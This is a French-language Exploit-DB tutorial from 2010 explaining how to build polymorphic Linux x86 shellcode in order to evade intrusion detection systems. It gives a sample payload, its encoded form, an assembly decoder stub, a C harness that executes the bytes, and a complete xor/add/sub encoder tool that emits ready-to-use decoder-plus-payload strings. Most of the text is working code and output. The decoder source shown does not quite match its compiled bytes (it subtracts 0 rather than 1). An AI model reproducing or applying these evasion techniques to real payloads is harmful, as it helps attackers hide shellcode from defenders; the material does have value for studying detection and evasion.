[French] How to Create a Polymorphic Shellcode

EDB-ID:

13874

CVE:

N/A




Platform:

Linux_x86

Date:

2010-06-14


        
	
	Title:	  How to create a polymorphic shellcode ?
	Author:   Jonathan Salwan <submit ! shell-storm.org>
	Web:	  http://www.shell-storm.org/ | http://twitter.com/jonathansalwan
	Date:	  2010-06-14
	Language: French 

	Original version: http://howto.shell-storm.org/files/howto-2.php



        I - Présentation du polymorphisme
	==================================
	
	Le mot polymorphisme vient  du grec et  signifie plusieurs formes. Ce terme a été employé en 
	informatique pour la première fois par un pirate bulgare portant le pseudonyme Dark Avenger, 
	ce dernier ayant créé en 1992 le premier virus polymorphique. 

	L'objectif du code polymorphique est d'éviter la  détection  tout en s'adaptant aux modèles, 
	c'est-à-dire  à  certains  traits caractéristiques  permettant  d'identifier  un code donné.

	Le polymorphisme est utilisé dans les shellcodes pour camoufler les attaques sur un réseau.
	Il est vrai que de  nos jours les IDS  (Intrusion Detection System) répertorient la plupart
	des structures de shellcodes. (exemple: push /bin/sh, etc...).
	C'est pourquoi le polymorphisme permet de passer outre cette détection.

	
	
	II - Structure d'un shellcode polymorphique
	===========================================

	Pour éviter les détections notre shellcode devra être encodé mais pour qu'il fonctionne
	correctement nous devons lui ajouter un décodeur.

	La structure sera comme ci-dessous:

	
	+------------+--------------------+
	|  DECODEUR  |  SHELLCODE ENCODE  |
	+------------+--------------------+
	<--Notre shellcode polymorphique-->


	Prenons par exemple le shellcode présenté dans le Howto n1 (_write) 

	xor   %eax,%eax
	xor   %ebx,%ebx
	xor   %ecx,%ecx
	xor   %edx,%edx
	movb  $0x9,%dl   
	pushl $0x0a
	push  $0x6e616874
	push  $0x616e6f6a
	movl  %esp,%ecx
	movb  $0x1,%bl
	movb  $0x4,%al
	int   $0x80
	xor   %ebx,%ebx
	movb  $0x1,%al
	int   $0x80

	En hexadecimal ce shellcode donne:
	
	"\x31\xc0\x31\xdb\x31\xc9"
	"\x31\xd2\xb2\x09\x6a\x0a"
	"\x68\x74\x68\x61\x6e\x68"
	"\x6a\x6f\x6e\x61\x89\xe1"
	"\xb3\x01\xb0\x04\xcd\x80"
	"\x31\xdb\xb0\x01\xcd\x80"

	Ok, maintenant imaginons que notre IDS est programmé pour détecter cette suite d'instruction. 
	Nous allons donc devoir  l'encoder, pour ça  commencons par incrémenter de 1 notre shellcode.

	Ce qui va donner:

	"\x32\xc1\x32\xdc\x32\xca"
	"\x32\xd3\xb3\x0a\x6b\x0b"
	"\x69\x75\x69\x62\x6f\x69"
	"\x6b\x70\x6f\x62\x8a\xe2"
	"\xb4\x02\xb1\x05\xce\x81"
	"\x32\xdc\xb1\x02\xce\x81"	

	Une fois notre shellcode encodé nous devons lui rajouter le décodeur, comme vous l'avez sûrement
	compris, le décodeur devra décrémenter de 1 notre suite d'instrution.

	Voici les sources d'un décodeur
	
	BITS 32	
	
	jmp short three
	
	one:
	 pop esi	
	 xor ecx, ecx
	 mov cl, 36			; On place dans %cl la taille de notre shellcode

	two:
	 sub byte [esi + ecx -1 ], 0	; on décrémente de 1 notre chaîne
	 sub cl,1			; on décrémente de 1 la taille de la chaîne
	 jnz two			; on test si %cl est à 0 (si c'est la fin de notre chaîne)
	 jmp short four			; si c'est le cas on sort de la boucle

	three:
	 call one

	four:

	Compilons notre décodeur:
	
	jonathan@ArchLinux [test]$ nasm -f elf decodeur.s 
	jonathan@ArchLinux [test]$ ls
	decodeur.o  decodeur.s
	jonathan@ArchLinux [test]$ ld -o decodeur decodeur.o
	ld: warning: cannot find entry symbol _start; defaulting to 08048060
	jonathan@ArchLinux [test]$ objdump -d decodeur

	main:     file format elf32-i386


	Disassembly of section .text:

	08048060 <one-0x2>:
	 8048060:	eb 11                	jmp    8048073 <three>

	08048062 <one>:
	 8048062:	5e                   	pop    %esi
	 8048063:	31 c9                	xor    %ecx,%ecx
	 8048065:	b1 24                	mov    $0x24,%cl

	08048067 <two>:
	 8048067:	80 6c 0e ff 00       	subb   $0x0,-0x1(%esi,%ecx,1)
	 804806c:	80 e9 01             	sub    $0x1,%cl
	 804806f:	75 f6                	jne    8048067 <two>
	 8048071:	eb 05                	jmp    8048078 <four>

	08048073 <three>:
	 8048073:	e8 ea ff ff ff       	call   8048062 <one>	



	Maintenant rajoutons notre décodeur au shellcode déjà encodé:
	

	#include <stdio.h>

	char SC[] = //Décodeur
		    "\xeb\x11\x5e\x31\xc9\xb1\x24\x80"
		    "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  	            "\xf6\xeb\x05\xe8\xea\xff\xff\xff"

		    //Shellcode encodé
		    "\x32\xc1\x32\xdc\x32\xca\x32\xd3"
		    "\xb3\x0a\x6b\x0b\x69\x75\x69\x62"
		    "\x6f\x69\x6b\x70\x6f\x62\x8a\xe2"
		    "\xb4\x02\xb1\x05\xce\x81\x32\xdc"
		    "\xb1\x02\xce\x81";

	int main(void)
	{
       	printf("Length: %d\n",strlen(SC));
		(*(void(*)()) SC)();     
	}
	

	Testons notre shellcode polymorphique
	
	jonathan@ArchLinux [test]$ cat main.c 
	#include <stdio.h>

	char SC[] = //Décodeur
		    "\xeb\x11\x5e\x31\xc9\xb1\x24\x80"
		    "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  	            "\xf6\xeb\x05\xe8\xea\xff\xff\xff"

		    //Shellcode encodé
		    "\x32\xc1\x32\xdc\x32\xca\x32\xd3"
		    "\xb3\x0a\x6b\x0b\x69\x75\x69\x62"
		    "\x6f\x69\x6b\x70\x6f\x62\x8a\xe2"
		    "\xb4\x02\xb1\x05\xce\x81\x32\xdc"
		    "\xb1\x02\xce\x81";

	int main(void)
	{
       	printf("Length: %d\n",strlen(SC));
		(*(void(*)()) SC)();     
	}

	jonathan@ArchLinux [test]$ gcc -o main main.c 
	main.c: In function 'main':
	main.c:17:31: warning: incompatible implicit declaration of built-in function 'strlen'
	jonathan@ArchLinux [test]$ ./main 
	Length: 60
	jonathan
	jonathan@ArchLinux [test]$


	Et voilà notre shellcode a  été executé sans aucun problème avec une taille de 60 bytes.
	Il existe plusieurs types d'encodage pour camoufler votre shellcode les principaux sont:
	
		- Addition
		- Soustraction
		- Xor 
	
	Après il vous est possible de créer votre propre algorythme pour encoder vos shellcodes.
	


	III - Extras
	============

	Je ne vous cache pas que  c'est long et  chiant  d'encoder des shellcode, c'est pourquoi 
	dans cette section je vais vous laisser un outil qui vous facilitera la vie.

	/*
	Writed by Jonathan Salwan - shell-storm.org
	Original source: http://www.shell-storm.org/shellcode/files/shellcode-649.php	
	*/

	#include <stdio.h>
	#include <stdio.h>

	unsigned char your_SC[] = "\x31\xc0\x31\xdb\x31\xc9"
			          "\x31\xd2\xb2\x09\x6a\x0a"
			          "\x68\x74\x68\x61\x6e\x68"
			          "\x6a\x6f\x6e\x61\x89\xe1"
			          "\xb3\x01\xb0\x04\xcd\x80"
			          "\x31\xdb\xb0\x01\xcd\x80";


	void syntax(void)
	{
		fprintf(stdout,"\nSyntax:  ./encode <type> <value>\n\n");
		fprintf(stdout,"Type:    -xor\n");
		fprintf(stdout,"         -add\n");
		fprintf(stdout,"         -sub\n\n");
		fprintf(stdout,"Exemple: ./encode -xor 10\n\n");
		exit(1);
	}

	int main(int argc, char *argv[])
	{
		if(argc != 3){
			syntax();
			return 1;
			}	


		if(!strcmp(argv[1], "-xor"))
			{
			fprintf(stdout,"Encode : XOR %s\n", argv[2]);
			fprintf(stdout,"Encoded: \n");

		        fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
		                       "\\x74\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
		                       "\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
		                       ,strlen(your_SC), atoi(argv[2]));

			for (int i=0;i<sizeof(your_SC)-1;i++){
				your_SC[i] = your_SC[i]^atoi(argv[2]); 
				fprintf(stdout,"\\x%.2x", your_SC[i]);
				}
			fprintf(stdout,"\n");
			}
	 

		if(!strcmp(argv[1], "-add"))
		        {
		        fprintf(stdout,"Encode : ADD %s\n", argv[2]);
		        fprintf(stdout,"Encoded: \n");
	 
		        fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
		                       "\\x6c\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
		                       "\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
		                       ,strlen(your_SC), atoi(argv[2]));

		        for (int i=0;i<sizeof(your_SC)-1;i++){
		        	your_SC[i] = your_SC[i]+atoi(argv[2]);
		                fprintf(stdout,"\\x%.2x", your_SC[i]);
		                }
		        fprintf(stdout,"\n");
		        }

		 if(!strcmp(argv[1], "-sub"))
		         {
		         fprintf(stdout,"Encode : SUB %s\n", argv[2]);
		         fprintf(stdout,"Encoded: \n");

		         fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
		                        "\\x44\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
		                        "\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
		                        ,strlen(your_SC), atoi(argv[2]));

		         for (int i=0;i<sizeof(your_SC)-1;i++){
		                 your_SC[i] = your_SC[i]-atoi(argv[2]);
		                 fprintf(stdout,"\\x%.2x", your_SC[i]);
		                 }
		         fprintf(stdout,"\n");
		         }

	return 0;
	}



	IV - Références
	===============

	[x] - http://www.shell-storm.org

	[1] - http://www.shell-storm.org/papers/files/427.pdf

	[2] - http://howto.shell-storm.org/files/howto-1.php